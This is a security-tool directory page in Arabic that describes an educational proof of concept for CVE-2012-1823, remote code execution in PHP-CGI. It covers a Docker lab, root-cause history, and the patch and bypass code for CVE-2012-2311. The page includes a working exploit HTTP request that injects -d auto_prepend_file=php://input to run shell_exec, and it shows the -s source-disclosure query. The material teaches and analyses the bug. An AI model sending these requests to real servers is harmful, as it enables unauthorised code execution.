Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
PHP_CVE-2012-1823 — إثبات مفهوم تعليمي وتحليل لـ CVE-2012-1823، وهي ثغرة تنفيذ كود عن بعد في PHP-CGI. يتضمن بيئة اختبار تعتمد على Docker، وعرضًا توضيحيًا للاستغلال، وتحليلًا تقنيًا مفصلاً للسبب الجذري والالتفافات. | Kitploit
أدوات/GitHubGitHub/cyberharsh/php_cve-2012-1823
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubcyberharsh/php_cve-2012-1823

PHP_CVE-2012-1823

إثبات مفهوم تعليمي وتحليل لـ CVE-2012-1823، وهي ثغرة تنفيذ كود عن بعد في PHP-CGI. يتضمن بيئة اختبار تعتمد على Docker، وعرضًا توضيحيًا للاستغلال، وتحليلًا تقنيًا مفصلاً للسبب الجذري والالتفافات.

عرض المستودع
112منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة تنفيذ الأوامر عن بُعد في PHP-CGI (CVE-2012-1823)

المبدأ

  • مقالة مرجعية: http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
  • الإصدارات المتأثرة: php < 5.3.12 أو php < 5.4.2

بيئة الاختبار

بناء وتشغيل البيئة:

root@kitploit:~
docker-compose build
docker-compose up -d

بعد تشغيل البيئة، قم بزيارة http://your-ip:8080/ لرؤية نص "Hello".

عند زيارة http://your-ip:8080/index.php?-s سيتم عرض شفرة المصدر، مما يدل على وجود الثغرة. أرسل حزمة البيانات التالية، ستلاحظ تنفيذ الكود الموجود في الجسم:

root@kitploit:~
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

<?php echo shell_exec("id"); ?>

شرح الثغرة

PHP SAPI ووضع التشغيل

أولاً، دعنا نقدم وضع تشغيل PHP.

عند تنزيل شفرة مصدر PHP، ستجد دليلاً يسمى sapi. دور sapi في PHP يشبه "الموصل" للرسائل. على سبيل المثال، fpm الذي تم تقديمه في مقالتي "تحليل بروتوكول Fastcgi && ثغرة الوصول غير المصرح به لـ PHP-FPM && كتابة الاستغلال"، وظيفته هي استقبال البيانات المغلفة بواسطة حاوية الويب عبر بروتوكول fastcgi، ثم إرسالها إلى مترجم PHP للتنفيذ.

بالإضافة إلى fpm، فإن sapi الأكثر شيوعًا هو mod_php المستخدم في Apache، والذي يُستخدم لتبادل البيانات بين PHP وApache.

php-cgi هو أيضًا sapi. في الأيام القديمة، كانت طريقة تشغيل تطبيقات الويب بسيطة للغاية: تتلقى حاوية الويب حزمة بيانات HTTP، وتحصل على ملف الطلب (سكريبت CGI)، وتنشئ عملية فرعية (مترجم) لتنفيذ هذا الملف، ثم تحصل على نتيجة التنفيذ وتعيدها مباشرة إلى المستخدم، وتنتهي عملية المترجم الفرعية. معظم تطبيقات الويب المبنية على لغات مثل bash وperl تعمل بهذه الطريقة، ويُطلق على هذا الوضع عمومًا اسم CGI، وعند تثبيت Apache يوجد افتراضيًا دليل cgi-bin حيث كانت توضع هذه السكريبتات في البداية.

لكن وضع CGI له عيب قاتل، كما هو معروف، إنشاء العمليات وجدولتها له تكلفة معينة، وعدد العمليات ليس غير محدود. لذلك، لا يمكن للمواقع القائمة على وضع CGI عادةً التعامل مع عدد كبير من الطلبات في نفس الوقت، لأن كل طلب سيؤدي إلى إنشاء عملية فرعية، مما قد يثقل كاهل الخادم. ومن هنا جاء fastcgi، حيث يمكن لعملية fastcgi البقاء قيد التشغيل في الخلفية، واستقبال حزم البيانات عبر بروتوكول fastcgi، وتنفيذها وإرجاع النتائج دون الخروج.

PHP يحتوي على sapi يسمى php-cgi، وله وظيفتان: الأولى توفير تفاعل بنمط CGI، والثانية توفير تفاعل بنمط fastcgi. أي يمكننا، مثل perl، جعل حاوية الويب تنشئ عملية php-cgi مباشرة لتنفيذ سكريبت معين؛ أو يمكننا تشغيل php-cgi -b 127.0.0.1:9000 في الخلفية (حيث يعمل php-cgi كمدير لـ fastcgi)، وجعل حاوية الويب تتفاعل مع المنفذ 9000 عبر بروتوكول fastcgi.

فما هو fpm الذي ذكرته سابقًا؟ لماذا يوجد مديران لـ fastcgi في PHP؟ بالفعل، يوجد مديران لـ fastcgi في PHP: يمكن لـ php-cgi العمل في وضع fastcgi، وكذلك fpm يعمل في وضع fastcgi. لكن fpm تم تقديمه بعد الإصدار 5.3 من PHP، وهو مدير fastcgi أكثر كفاءة، وله العديد من المزايا التي لن أذكرها هنا، يمكنك الاطلاع على المصدر بنفسك. نظرًا لمزايا fpm الأكثر، فإن المزيد من تطبيقات الويب تستخدم الآن php-fpm لتشغيل PHP.

الأسباب التاريخية

نعود إلى هذه الثغرة. CVE-2012-1823 هي ثغرة ظهرت في sapi الخاص بـ php-cgi. لقد أوضحت أعلاه وضعي التشغيل المتاحين لـ php-cgi: CGI و fastcgi، وهذه الثغرة تظهر فقط في php الذي يعمل في وضع CGI.

ببساطة، هذه الثغرة تعني أن querystring في طلب المستخدم يتم التعامل معها كمعامل لـ php-cgi، مما يؤدي إلى سلسلة من النتائج.

للتحقيق في المبدأ، ينص RFC3875 على أنه عندما لا تحتوي querystring على علامة = غير مشفرة، يجب تمرير querystring كمعامل لـ CGI. لذلك، نفذ خادم Apache هذه الوظيفة وفقًا للمتطلبات.

لكن PHP لم تلاحظ هذه القاعدة من RFC، ربما لاحظتها وعالجتها من قبل، وكانت طريقة المعالجة هي منع تمرير المعاملات في سياق الويب. لكن في عام 2004، صرح أحد المطورين بما يلي:

root@kitploit:~
From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)
 
In our SAPI cgi we have a check along these lines:
 
    if (getenv("SERVER_SOFTWARE")
        || getenv("SERVER_NAME")
        || getenv("GATEWAY_INTERFACE")
        || getenv("REQUEST_METHOD")) {
        cgi = 1;
    }
 
    if(!cgi) getopt(...)
 
As in, we do not parse command line args for the cgi binary if we are 
running in a web context.  At the same time our regression testing system 
tries to use the cgi binary and it sets these variables in order to 
properly test GET/POST requests.  From the regression testing system we 
use -d extensively to override ini settings to make sure our test 
environment is sane.  Of course these two ideas conflict, so currently our 
regression testing is somewhat broken.  We haven't noticed because we 
don't have many tests that have GET/POST data and we rarely build the cgi 
binary.
 
The point of the question here is if anybody remembers why we decided not 
to parse command line args for the cgi version?  I could easily see it 
being useful to be able to write a cgi script like:
 
  #!/usr/local/bin/php-cgi -d include_path=/path
  <?php
      ...
  ?>
 
and have it work both from the command line and from a web context.
 
As far as I can tell this wouldn't conflict with anything, but somebody at 
some point must have had a reason for disallowing this.
 
-Rasmus

من الواضح أن هذا المطور أراد تسهيل استخدام كتابة مثل #!/usr/local/bin/php-cgi -d include_path=/path للاختبار، ورأى أنه لا يجب منع php-cgi من قبول معاملات سطر الأوامر، وأن هذه الوظيفة لا تتعارض مع أي شفرة أخرى.

وبالتالي، تم حذف if(!cgi) getopt(...).

ولكن من الواضح، وفقًا لتوضيح RFC بشأن سطر الأوامر، لا يمكن تمرير معاملات سطر الأوامر إلى php-cgi فقط من خلال طريقة #!/usr/local/bin/php-cgi -d include_path=/path، بل أيضًا من خلال querystring.

هذا هو السبب التاريخي لهذه الثغرة.

استغلال الثغرة

إذن، ما الذي يمكن فعله من خلال التحكم في معاملات سطر الأوامر؟

من خلال قراءة الشفرة المصدرية، وجدت المعاملات التالية المتاحة في وضع CGI:

  • -c لتحديد موقع ملف php.ini
  • -n لعدم تحميل ملف php.ini
  • -d لتحديد عنصر تكوين
  • -b لبدء عملية fastcgi
  • -s لعرض شفرة المصدر للملف
  • -T لتنفيذ الملف عددًا محددًا من المرات
  • -h و -? لعرض المساعدة

أبسط طريقة للاستغلال، بالطبع، هي استخدام -s لعرض شفرة المصدر مباشرة:

لكن الطلاب الذين قرأوا مقالتي عن fastcgi سيفكرون بسرعة في طريقة أفضل للاستغلال: باستخدام -d لتحديد auto_prepend_file لخلق ثغرة تضمين ملف عشوائي، وتنفيذ كود عشوائي:

لاحظ، استخدم + أو %20 بدلاً من المسافات، واستخدم ترميز URL لعلامة =.

CVE-2012-2311

بعد اكتشاف هذه الثغرة، قامت PHP بإصلاحها رسميًا، وأصدرت إصدارات جديدة 5.4.2 و 5.3.12، لكن هذا الإصلاح لم يكن كاملاً ويمكن تجاوزه، مما أدى إلى ظهور ثغرة CVE-2012-2311.

كانت طريقة إصلاح PHP هي التحقق من -:

root@kitploit:~
if(query_string = getenv("QUERY_STRING")) {
	decoded_query_string = strdup(query_string);
	php_url_decode(decoded_query_string, strlen(decoded_query_string));
	if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
		skip_getopt = 1;
	}
	free(decoded_query_string);
}

نلاحظ، يتم الحصول على querystring ثم فك تشفيرها، إذا كان الحرف الأول هو -، فسيتم تعيين skip_getopt، أي عدم الحصول على معاملات سطر الأوامر.

عدم أمان هذه الطريقة هو أنه إذا قام المسؤول بتغليف php-cgi في غلاف مثل:

root@kitploit:~
#!/bin/sh

exec /usr/local/bin/php-cgi $*

فمن خلال استخدام حرف فارغ متبوعًا بـ -، يمكن أيضًا تمرير المعاملات. في هذه الحالة، يصبح الحرف الأول من querystring هو الحرف الفارغ وليس -، مما يتجاوز التحقق أعلاه.

وبالتالي، تم إجراء تعديلات أخرى في php5.4.3 و php5.3.13:

root@kitploit:~
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
	/* we've got query string that has no = - apache CGI will pass it to command line */
	unsigned char *p;
	decoded_query_string = strdup(query_string);
	php_url_decode(decoded_query_string, strlen(decoded_query_string));
	for (p = decoded_query_string; *p &&  *p <= ' '; p++) {
		/* skip all leading spaces */
	}
	if(*p == '-') {
		skip_getopt = 1;
	}
	free(decoded_query_string);
}

يتم تخطي جميع الأحرف الفارغة أولاً (جميع الأحرف الأصغر من أو تساوي المسافة)، ثم يتم التحقق مما إذا كان الحرف الأول هو -.

تنزيل الأداة